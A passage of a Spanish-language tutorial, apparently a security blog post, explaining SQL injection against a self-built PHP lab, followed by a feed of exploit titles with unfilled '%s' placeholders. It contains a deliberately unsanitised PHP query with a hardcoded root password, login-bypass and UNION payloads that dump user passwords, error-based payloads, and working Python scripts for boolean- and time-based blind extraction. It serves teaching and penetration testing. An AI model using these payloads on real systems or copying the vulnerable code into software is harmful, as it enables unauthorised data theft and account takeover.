A pesar de poner cosas sin sentidos y no válidas, al estar colocadas después de los símbolos de comentarios pues no pasa nada. Esto nos será útil de cara al SQL Injection.
Habiendo visto toda esta introducción a SQL. Vamos a ver su implementación en Aplicaciones Web.
SQL en Aplicaciones Web
Ya conocemos los fundamentos de SQL, ahora bien, vamos a ver como se conecta una base de datos a una aplicación web. El código que vamos a usar en este post es el siguiente:
<?php // Datos $dbhostname = 'localhost'; $dbuser = 'root'; $dbpassword = 'sikumy123$!'; $dbname = 'webserver'; //Crear conexion $connection = mysqli_connect($dbhostname, $dbuser, $dbpassword, $dbname); //Comprobar si la conexion se ha hecho correctamente if (!$connection) { echo mysqli_error($connection); die(); } // Parametro de id del Libro $input= $_GET['id']; // Query a MySQL $query = "SELECT title, author, year_publication FROM books WHERE id=$input"; // Realizar query $results = mysqli_query($connection, $query); // Comprobar si la query se ha hecho correctamente if (!$results) { echo mysqli_error($connection); die(); } echo "<h1>API de tu librería de confianza</h1>"; // Obtener y mostrar resultados de la query. Los resultados se almacenan en un array por el cual iteramos while ($rows = mysqli_fetch_assoc($results)) { echo '<b>Título: </b>' . $rows['title']; echo "<br />"; echo '<b>Autor: </b>' . $rows['author']; echo "<br />"; echo '<b>Año de Publicación: </b>' . $rows['year_publication']; echo "<br />"; } ?> Vamos a descomponer esto por partes para explicarlo.
Lo primero de todo es establecer la configuración, dicho de otra forma, los datos necesarios para que la aplicación web pueda conectarse a la base de datos con éxito. En este caso, se define al principio del archivo:
Después de esta definición, debemos de conectarnos a la base de datos usando estos datos:
Si la conexión es exitosa, el código PHP seguirá con el resto del código, si no, parará.
Una vez se ha establecido la conexión con el gestor de base de datos y la base de datos, es hora de declarar la query que se hará:
En este caso, habrá un valor dinámico que estableceremos a través de una petición GET en el servidor web. Este valor filtrará la query por el campo id.
Hasta aquí ya hemos establecido lo principal para conectar una aplicación web con una base de datos:
Hemos definido los datos necesarios para la conexión Hemos realizado la conexión con éxito Hemos realizado la query Ya por último simplemente toca mostrar los resultados de la query, en este caso lo haremos de la siguiente forma:
Realizamos un bucle el cual iterará por la variable $results. Esta variable es un array que contiene los distintos resultados devueltos por la query hecha anteriormente.
Por lo que dentro del bucle, simplemente mostramos los resultados, filtrando por columna para mostrar cada resultado en su lugar correspondiente.
El resultado visual de todo este código es el siguiente:
Esta manera que hemos visto es una posible forma de conectar una aplicación web a una base de datos. Sin embargo, no es la única (y seguramente quizás tampoco la mejor, perdonadme developers 😢).
Concepto de SQL Injection
Ya hemos visto los fundamentos suficientes como para poder llegar a entender el SQL Injection. Ahora vamos a ver la idea base de todos los ataques de este tipo.
Siguiendo el laboratorio que nos hemos ido montando a lo largo de este post, hemos llegado a lo siguiente:
En este caso, sabemos que la sentencia SQL que se ejecuta por detrás en el parámetro id es la siguiente:
SELECT title, author, year_publication FROM books WHERE id=<valor que controlamos> En la imagen de arriba, la sentencia ejecutada por detrás sería:
SELECT title, author, year_publication FROM books WHERE id=1 En este caso, no se está haciendo ningún tipo de sanitización, por lo que, que ocurre si además del 1 o el número que sea, colocamos una sentencia SQL.
Es decir, por ejemplo, la siguiente sentencia:
SELECT title, author, year_publication FROM books WHERE id=1 and 2=1– – Aquí le estamos añadiendo una condición. De por sí, originalmente si se coloca un identificador que existe, como puede ser el 1, pues nos devolverá los resultados relacionados a este id (como vemos en la imagen). Sin embargo, ahora le estamos añadiendo que además de esto, se tiene que cumplir la condición 2=1, cosa que siempre dará como resultado FALSE.
Como estas dos condiciones (la de que el id exista, y la del 2=1) están unidas por un operador AND, para que la query devuelva un resultado, ambas condiciones deben ser verdad. La segunda ya sabemos que siempre dará FALSE, por lo que el servidor no debe de devolver ningún resultado si lanzamos esa query.
No nos devuelve nada, por lo que está ocurriendo exactamente lo que estamos diciendo arriba. De la misma forma, si cambiamos la query a:
SELECT title, author, year_publication FROM books WHERE id=1 and 1=1– – Ahora si estamos colocando una condición TRUE. Estamos haciendo que el resultado de ambas condiciones también lo sea, por lo que:
En este caso, ahora el servidor si que devuelve resultados. En un ejemplo real, esto nos podría servir para analizar la existencia del SQL Injection analizando las respuestas del servidor basándonos en las condiciones que proporcionamos.
La forma más típica de detectar un SQL Injection es poniendo una comilla y comprobar si el servidor devuelve algún tipo de error en la respuesta:
Sin embargo, puede darse el caso donde el servidor no devuelva errores, por lo que la opción de analizar la respuesta del servidor en base a condicionales es una buena opción.
Pues, por ejemplo, imaginémonos la siguiente sentencia:
SELECT * FROM logins WHERE username=»<INPUT>» AND password=»<INPUT>» Esta sentencia pertenece a un login, con esto, que ocurre si nosotros introducimos X datos en el campo de username y en password de tal manera que los valores sean los siguientes:
La sentencia que ejecutará el servidor para validar si los datos son ciertos será:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1» AND password=»ni_idea_de_cual_es« Aquí, al igual que en el ejemplo anterior, estamos introduciendo una condición. Sin embargo, vamos a analizar su comportamiento teniendo en cuenta lo mencionado arriba sobre el AND y el OR y dando por hecho de que el usuario admin SI existe:
Este básicamente sería el comportamiento de una sentencia cuando se mezclan operadores como el AND y el OR. En este caso, por ejemplo, conseguiríamos iniciar sesión como el usuario admin sin saber su contraseña, ya que, el valor resultante de todas las condiciones es TRUE y el usuario admin existe.
Ahora bien, ¿qué ocurre si la condición en vez de inyectarla en el campo username, lo hacemos en el campo password?
El comportamiento sería el siguiente:
En este caso, sea cual sea el usuario o la contraseña, aunque ambos sean incorrectos, la sentencia devolverá TRUE. ¿Cómo se comportaría la aplicación ante esto?, ya que, es TRUE, pero la query devolverá todos los resultados de la tabla, ¿con quien se iniciaría la sesión?.
Pues normalmente, la lógica que seguiría la aplicación ante este caso sería iniciar sesión con el usuario del primer resultado, dicho de otra forma, con el usuario de la primera fila de toda la tabla. El cual en muchas ocasiones suele ser el administrador.
De estas dos formas que hemos visto, conseguiríamos aprovecharnos del SQL Injection para, en ambas, llegar a iniciar sesión sin conocer credenciales al estar aprovechándonos de la lógica de las condiciones y su manipulación.
Por último, anteriormente mencionamos que el uso de un comentario, hará que todo lo que haya después de este se trate como tal. Por lo que, supongamos que tenemos la siguiente sentencia que hemos visto arriba:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1» AND password=»ni_idea_de_cual_es« Si añadimos lo siguiente:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1«#» AND password=»ni_idea_de_cual_es« Hará que toda esta parte se ignore:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1″#» AND password=»ni_idea_de_cual_es» Y, por lo tanto, la sentencia que se ejecutará, será:
SELECT * FROM logins WHERE username=»admin» OR «1»=»1″# Esta sería una demostración de porque siempre deberíamos de colocar instrucciones de comentarios en nuestras inyecciones.
http://images3.memedroid.com/images/UPLOADED169/5e8fb599588e9.jpeg STOPPPP. Antes de seguir, vamos a hacer una minirecopilación de lo que llevamos:
Hemos visto la introducción a SQL y como está relacionado con los gestores de bases de datos y los tipos de bases de datos que hay. A su vez, hemos visto la estructura de las bases de datos relacionales. Para que así podamos entender como está montado todo y en que forma se almacena la información. Para familiarizarnos un poco con SQL, hemos visto algunas instrucciones y sentencias del lenguaje. Posterior a todo esto, hemos visto un ejemplo de conexión entre aplicación web y base de datos. Con toda esta base, nos hemos introducido en el SQL Injection viendo algunos conceptos básicos y situaciones. Habiendo visto todo esto, ya es hora de introducirnos a ejemplos un poco más avanzados y los tipos de SQL Injection que hay. El siguiente diagrama resume los tipos de técnicas y SQLi que existen:
Vamos a ir viéndolos todos uno por uno.
In-band SQL Injection
Este tipo de SQLi es el más básico y sencillo de todos. Ya que, cuando nos referimos a «In-band» quiere decir que somos capaces de ver la respuesta de la base de datos en la respuesta del servidor. Dentro de este tipo, encontramos dos subtipos, las inyecciones basadas en Error y en Union.
Union-based
Dentro de SQL tenemos la instrucción UNION. Esta instrucción permite unir los resultados de distintas instrucciones SELECT. Un ejemplo de sentencia con esta instrucción sería la siguiente:
SELECT columna1, columna2 FROM tabla1 UNION SELECT columna1,columna2 FROM tabla2; A nivel visual, esta instrucción uniría los resultados de la siguiente forma:
Aquí hay algunos detalles a tener en cuenta con esta instrucción:
Cuando realizamos una unión entre dos SELECT, ambos deben de tener el mismo número de columnas (no en la tabla como tal, sino columnas seleccionadas en la query). Al mismo tiempo, cada columna debe coincidir en el tipo de dato, es decir, en el caso de arriba, el tipo de dato de la columna 1 de la tabla 1, debe ser el mismo que el de la columna 1 de la tabla 2. Para que al momento de apilarlas como vemos arriba, no haya errores.Ojo, de las columnas seleccionadas, no de las columnas originales, ¿a qué me refiero con esto?. Si la query hubiera sido por ejemplo: SELECT columna1, columna2 FROM tabla1 UNION SELECT columna3,columna4 FROM tabla2; El tipo de dato de la columna1 debe de ser el mismo que el de la columna3. De la misma forma, el de la columna2 debe ser el mismo que el de la columna4 y etc etc… . De por sí, la instrucción UNION elimina los duplicados, por lo que si no queremos que ocurra esto simplemente en vez de usar UNION, usamos UNION ALL. Conociendo ya esta instrucción vamos a ver como podemos aprovecharnos de ella para obtener información de la base de datos.
Teniendo en cuenta los requisitos para poder usar la instrucción UNION, nuestra primera tarea es comprobar cuantas columnas tiene la sentencia que se está ejecutando por detrás. Esto se puede comprobar de dos formas, con la propia instrucción UNION o usando ORDER BY. Vamos a hacerlo de ambas:
ORDER BY La instrucción ORDER BY sirve para ordenar el resultado de una sentencia por la columna que queramos. Se especifica la columna mediante el número que le corresponda, la columna más a la izquierda es la 1, la siguiente la 2, y así… .
Por lo que, la idea es colocar en el campo id lo siguiente:
1 ORDER BY <número por el que iremos iterando># Vemos que mientras la columna por la que le estamos diciendo que ordene, exista, el servidor no dará ningún problema en la respuesta. Sin embargo, cuando lleguemos al punto de que la columna por la que decimos que ordene, no exista, ocurrirá lo siguiente:
De esta forma, confirmamos que la sentencia SQL que se ejecuta por detrás tiene 3 columnas. Sabiendo esto, ya procederíamos a usar UNION (más adelante veremos que hacer llegados a este punto).
UNION Ahora, vamos a hacer lo mismo pero usando la propia instrucción UNION. La idea es la siguiente:
UNION SELECT <ir iterando hasta llegar al número correcto># En este caso, para enumerar el número de columnas nos vamos a aprovechar del propio requisito de la instrucción UNION:
Teniendo en cuenta esto, si yo hago por ejemplo lo siguiente:
Nos saltará el error correspondiente a lo que hemos explicado.
Sabiendo esto, ya es cuestión de ir colocando columnas en nuestro SELECT hasta que el número de columnas de ambos SELECT coincidan:
Ojo, aquí vemos como ahora si coinciden las columnas por la respuesta por parte del servidor. Además, vemos como presuntamente se nos muestra lo que hemos colocado en nuestro SELECT. Podemos confirmar esto haciendo esto:
Y de esta forma es como enumeraríamos el número de columnas de la sentencia SQL.
Ahora, volviendo al tema principal, ¿cómo podemos aprovecharnos de la instrucción UNION para obtener toda la información que queramos de la base de datos?
Pues es sencillo. Yo, por ejemplo, dentro de la misma base de datos donde está la información de los libros, he creado una tabla llamada users, la cual contiene usuarios y contraseñas:
Sabiendo esto, podemos hacer una query como la siguiente:
1 UNION SELECT user, password, null FROM users# De esta forma, conseguimos dumpearnos todos los datos.
Ahora bien, aquí puedes decir: «Si claro, pero esto lo puedes hacer porque sabes previamente que hay una tabla llamada users con esas columnas y demás».
Y es cierto. ¿Cómo procederíamos ante un caso donde no sabemos absolutamente nada de la base de datos?
Pues esto va a depender del gestor de base de datos que se esté usando. La cuestión es que todos los gestores tienen ciertas bases de datos por defecto que almacenan información del resto de bases de datos.
Para que se vea esto de forma más clara, vamos a ver como se llevaría a cabo en MariaDB (sería de la misma forma en MySQL, ya que son gestores casi iguales).
Vamos a partir de que ya conocemos el número de columnas y podemos usar la instrucción UNION sin problemas. Con esto hecho, lo primero que vamos a enumerar son las bases de datos. Para ello, vamos a usar la siguiente sentencia en el parámetro id:
1 UNION SELECT null, schema_name, null FROM information_schema.schemata# Como vemos, se nos lista todas las bases de datos del gestor. Esto es porque la columna schema_name en la tabla schemata de la base de datos information_schema almacena esta información
En el caso de que tuvieramos la limitación de que solo se nos muestra un resultado, pues se hace lo que ya se ha dicho, ir iterando usando LIMIT:
Ya conocemos las bases de datos existentes. Digamos que yo al verlo, descarto de por sí:
information_schema perfomance_schema mysql Ya que son bases de datos por defecto del gestor.
Por lo que ponemos el punto de mira en la base de datos con nombre «webserver». Con esta información, procedemos con la siguiente sentencia:
1 UNION SELECT null, table_name, table_schema FROM information_schema.tables WHERE table_schema=»webserver»# Como vemos, se nos lista todas las tablas pertenecientes a la base de datos webserver (de la misma forma, nos lista a que base de datos pertenece las tablas). En este caso, nosotros viendo esto, la tabla que más nos llama la atención es users, por lo que, ahora, debemos de enumerar las columnas de esta tabla:
1 UNION SELECT column_name, table_name, table_schema FROM information_schema.columns WHERE table_name=»users» and table_schema=»webserver»# De esta forma, acabamos de enumerar:
Todas las bases de datos Las tablas de la base de datos webserver Las columnas de la tabla users de la base de datos webserver Teniendo ya esta información, podemos hacer lo mismo que hicimos al principio:
Un tip a mencionar aquí es que quizas, se puede dar el caso donde se nos muestre en la respuesta del servidor solo el resultado de una columna. Y quizás para obtener información como usuario:contraseña puede ser un poco coñazo. Por lo que en este tipo de situaciones podemos hacer uso de la función CONCAT():
Esta función nos permite concatenar diversas palabras y caracteres, incluidas columnas. De esta forma estamos obteniendo dos columnas en el campo de una.
Este procedimiento sería el que habría que hacer en gestores como MariaDB o MySQL. Para ver como sería en otros gestores lo mejores es buscar cheatsheets de cada uno:
MS-SQL – pentestmonkey cheatsheet Oracle – pentestmonkey cheatsheet Error-based
Habiendo acabado con el Union-based es hora de ver el Error-based. Este tipo de SQL Injection consiste en ocasionar a propósito un error en el servidor, de tal forma, que en esta respuesta, consigamos resultados de la base de datos.
Pongámonos en el ejemplo de que el servidor no devuelve los resultados de las peticiones a la base de datos, esto podría tratarse de un SQL Blind como veremos más adelante, pero por comodidad nuestra, lo mejor sería poder ver los resultados en esta respuesta del servidor. Por lo que, lo que podemos probar es ocasionar un error en el servidor para que si se da el caso, el servidor si muestre en su respuesta este error, y dentro de este error, el resultado de una sentencia SQL que nosotros le digamos.
Quedará más claro ahora cuando lo veamos.
Lo que hay que dejar claro, es que existen multitud de formas para generar errores, por lo que la que veremos es solo una forma de las muchas que hay. Además, cambiará dependiendo del gestor que se esté usando.
En MySQL/MariaDB podemos usar la siguiente sentencia:
AND ExtractValue(»,Concat(‘=’,(<SENTENCIA SQL>))) En este caso, a través de un error, estamos consiguiendo mostrar el primer nombre de usuario de la tabla users.
Aquí vamos a aprovechar para introducir otro concepto, y son las funciones. Que, ya hemos visto algunas como puede ser CONCAT(). Pero existen otras funciones las cuales nos pueden devolver información del gestor SQL, el usuario que ejecuta el gestor, etc. Por ejemplo:
@@version –> En MySQL y MariaDB, nos devuelve la versión del gestor de base de datos. Otra función puede ser user():
Este tipo de funciones también las podemos usar en las demás inyecciones SQL, ya que son propias del gestor de bases de datos.
En cualquier caso, todas estas funciones o formas de ocasionar errores en el servidor, como hemos dicho, la forma en la que se haga o sea, dependerá mucho del gestor de base de datos, por lo que lo mejor es mirar una cheatsheet del gestor con el que estemos lidiando (aunque si es cierto que muchas funciones si son iguales y coinciden en varios gestores).
Blind SQL Injection
Ya hemos visto los casos de inyecciones SQL donde somos capaces de ver los resultados en la respuesta web del servidor. Ahora bien, habrá ocasiones donde el servidor no devuelva absolutamente nada, y, aun así, sí que sea vulnerable a SQL Injection, estos son los denominados Blind (también conocidos como Inferential).
Ante esta situación, se puede proceder de dos formas distintas, dicho de otra forma, hay dos tipos de SQL Blind:
Boolean-Based Time-Based Vamos a ver los dos, pero, antes que nada, vamos a hacer el siguiente cambio en el código de nuestra web:
Vamos a comentarlo todo para que la web no muestre ninguna respuesta, además, añadiremos una frase que nos indique cuando la petición es correcta y cuando no:
Boolean-Based
Esta técnica es la misma que hemos visto al principio del post, por el cual, dependiendo de la respuesta del servidor, podíamos detectar si habia un SQL Injection o no:
Sin embargo, antes no hemos visto de lo que es capaz esta técnica. Parecerá una tontería, pero el hecho de que la respuesta del servidor cambie dependiendo de una condición booleana (True or False) puede determinar que podamos conseguir toda la información que queramos de la base de datos.
Esto es porque podemos hacer uso, de la siguiente función:
SUBSTR(<SENTENCIA SQL o FUNCION>, <Offset>, <cantidad (lo dejamos en 1)>) Básicamente, con esta función podemos ejecutar ya sea una sentencia SQL o una función y limitar el resultado a 1 carácter, teniendo la posibilidad de elegir la posición del carácter proveniente del resultado (offset).
Sabiendo esto, suponiendo que por ejemplo, queremos obtener el nombre de la base de datos que se está usando, podemos crear una condición como la siguiente:
1 AND SUBSTR(database(), 1, 1)=’a’# Nosotros ya sabemos que la base de datos es webserver, por lo que vamos a ver el comportamiento del servidor ante esta condición:
Como la base de datos es webserver, el resultado de la función SUBSTR(database(), 1, 1) será w.
De forma iterada, el resultado de la función SUBSTR(database(), 2, 1) será e.
SUBSTR(database(), 3, 1) será b. SUBSTR(database(), 4, 1) será s. etc etc. Entendiendo ya como funciona, por ejemplo, vamos a cambiar la ‘a‘ por la ‘w‘ (que ya sabemos que es la primera letra del nombre de la base de datos) para ver la respuesta del servidor:
Con esto, nos damos cuenta que cuando las letras son iguales, el servidor devolverá en la respuesta: «La petición se ha realizado con éxito«. Por lo que, con estos datos, podemos hacernos un script que vaya iterando por todo el abecedario y que vaya obteniendo las respuestas del servidor y analizándolas, comprobando que:
En el caso de que el servidor devuelva «La petición se ha realizado con éxito«. Significará que la letra por la cual hayamos iterado es la correcta. Si no devuelve esa frase, pues, siguiente letra. En este caso he montado el siguiente script en python3:
#!/usr/bin/python3 import requests import sys mayusc = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' minusc = mayusc.lower() numbers = '1234567890' simbols = '|@#~!"·$%&/()=:.-_,; <>[]{}?\r\n' dictionary = minusc + mayusc + numbers + simbols def booleanSQL(): global info info = '' for i in range(1,100): stop = False for j in dictionary: response = requests.get("http://localhost/books.php?id=1 AND SUBSTR(database(), %d, 1)='%s'#" % (i, j)) if 'La peticion se ha realizado' in response.text: print("La letra numero %d es %s" % (i, j)) info += j stop = False break stop = True if stop: break if __name__ == '__main__': booleanSQL() print("\nLa base de datos se llama %s" % info) Ejecutando este script, ocurre la magia:
Conseguimos enumerar información en base a como cambia la respuesta del servidor dependiendo de la condición booleana.
Ya podemos enumerar cualquier cosa, solo tendríamos que cambiar la query de la petición:
Otro ejemplo:
Y así, con las técnicas que hemos visto a lo largo de todo el post, ya podríamos enumerar todo.
Time-Based
Las inyecciones SQL Blind basadas en tiempo, en concepto son iguales que las basadas en booleanos. Solo que en este caso, el servidor no devuelve ningún cambio en la respuesta sin importar la condición.
Vamos a comentar la siguiente parte del código para que sea así:
De esta forma, no hay manera de diferenciar:
¿Qué hacemos entonces?
Pues, hay una instrucción la cual es sleep() (es así en el caso de MySQL/MariaDB, puede variar dependiendo del gestor, asi que como siempre, lo mejor es mirarse una cheatsheet). Esta instrucción como te puedes imaginar hará una pausa de tiempo de los segundos que indiques, por ejemplo, sleep(5) hará una pausa de 5 segundos.
Pues, con esta instrucción, la idea es muy similar al Boolean-Based, nos podemos construir una sentencia como la siguiente:
1 AND IF((SUBSTR(database(), 1, 1)=’a’), sleep(5), 1)# En este caso estamos haciendo uso de IF, la cual tiene la siguiente estructura:
IF(<condicion>, <si es verdad se ejecuta esto>, <si no es verdad se ejecuta esto>) Como tal, la sentencia que tenemos colocada en la condición del IF, es exactamente la misma que la del Boolean-Based. Sabemos que esta sentencia dará TRUE si la letra coincide y FALSE si no.
Por lo que, si es TRUE (coincide la letra), se ejecutará la instrucción sleep(5), que hará que el servidor tarde 5 segundos en responder, de lo contrario, no hará nada.
Con todo esto, es realmente sencillo, si el servidor tarda 5 segundos en responder significa que la letra que hayamos puesto coincide. Ejemplo:
La web se quedará cargando 5 segundos, ya que la primera letra del nombre de la base de datos es una w.
Por lo que, nos podemos hacer un script que determine que letras son las correctas en base a cuanto tiempo tarda el servidor en responder:
#!/usr/bin/python3 import requests import sys import time mayusc = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' minusc = mayusc.lower() numbers = '1234567890' simbols = '|@#~!"·$%&/()=:.-_,; <>[]{}?\r\n' dictionary = minusc + mayusc + numbers + simbols def check(offset, letter): time_start = time.time() response = requests.get("http://localhost/books.php?id=1 AND IF((SUBSTR(database(), %d, 1)='%s'), sleep(5), 1)#" % (offset, letter)) time_end = time.time() if time_end - time_start > 5: return 1 def timeSQL(): global info info = '' for i in range(1,100): stop = False for j in dictionary: if check(i, j): print("La letra numero %d es %s" % (i, j)) info += j stop = False break stop = True if stop: break if __name__ == '__main__': timeSQL() print("\nEl nombre de la base de datos es %s" % info) Ejecutando el script pues mirad que bonito:
Nos va extrayendo el nombre poco a poco, todo en base al tiempo que tarda el servidor en responder:
Mirad como coincide, webserver tiene 9 letras, y le hemos indicado un sleep de 5 segundos, pues 9×5 = 45 que es justamente el tiempo que ha tardado el script (podría demorarse algún que otro segundo más dependiendo del caso, pero no mucho).
Y ya, pues igual que lo que hemos hecho con el Boolean-Based, iríamos cambiando la sentencia SQL para obtener la información que queramos:
Y esto básicamente sería un SQL Blind basado en tiempo.
Out-of-Band
Por último y no menos importantes, SQL Injection Out-of-Band. Este SQL Injection en esencia es el mismo que el Blind, ya que el servidor no devuelve en la respuesta ninguna información del resultado de la sentencia SQL. Sin embargo, cuando nos referimos a Out-of-Band, queremos decir que quizás tenemos la posibilidad de exfiltrar la información a un servidor remoto.
No es distinto en cuanto a las sentencias SQL y técnicas que hemos visto a lo largo de este post. La única diferencia es la ya mencionada, que quizás somos capaces de exfiltrar/enviar las respuestas a un servidor controlado por nosotros y, de esta forma, poder obtener y leer los resultados de las consultas hechas.
Esta técnica es más avanzada y se le puede dedicar un post completo, por lo que la veremos en otro momento. Sin embargo, es suficiente con que te quedes con que existe y su finalidad.
Conclusión
Hemos visto muchos conceptos y detalles en este post. Para acabar simplemente me gustaría dar algunos detalles:
Todas las sentencias SQL deben de acabar con ;, en las imágenes que ejecutábamos las sentencias en la terminal podrás ver como siempre se ponía. Con esto digo, que también puede ser buena práctica acabar nuestras inyecciones con ; además del ya dicho, instrucción de comentario –> ;# Típicamente, en el SQL Injection se suelen usar comillas simples, pero este no siempre será el caso, al final dependerá de que comillas esté usando el servidor por detrás. Por lo que tenemos que ir alternando en caso de que una no funcione para ver si la otra si lo hace.Es decir, si por ejemplo en una sentencia, el campo en el que nosotros introducimos en el código está rodeado por:«<valor que nosotros controlamos>» Pues, aunque la comilla simple si generará un fallo y quizás podamos ver un error de SQL, a la hora de hacer por ejemplo esto:«» OR 1=1#« Sí que tendremos que usar una comilla doble. Los SQLi no se limitan a peticiones del tipo GET, realmente puede ocurrir en cualquier campo en el que introducimos datos, ya sea POST o GET. Todo esto que acabo de mencionar simplemente son detalles que está bien que conozcas de cara a poder pensar formas de hacer inyecciones SQL.
Referencias
SQL Commands: DML, DDL, DCL, TCL, DQL with Query Example MySQL cheatsheet Fundamentos de las bases de datos NoSQL SQL Injection Exploitation: Error-based MySQL SQL Injection Practical Cheat Sheet HackTheBox Academy – SQL Injection Web Application Penetration Testing – INE
- Read more...
- 0 comments
- 1 view

PHP Directory Listing Script 3.1 - 'index.php' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

e107 0.7.25 - 'news.php' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Nexus 5 Android 5.0 - Local Privilege Escalation
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

FestOS 2.3c - 'upload.php' Arbitrary File Upload
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view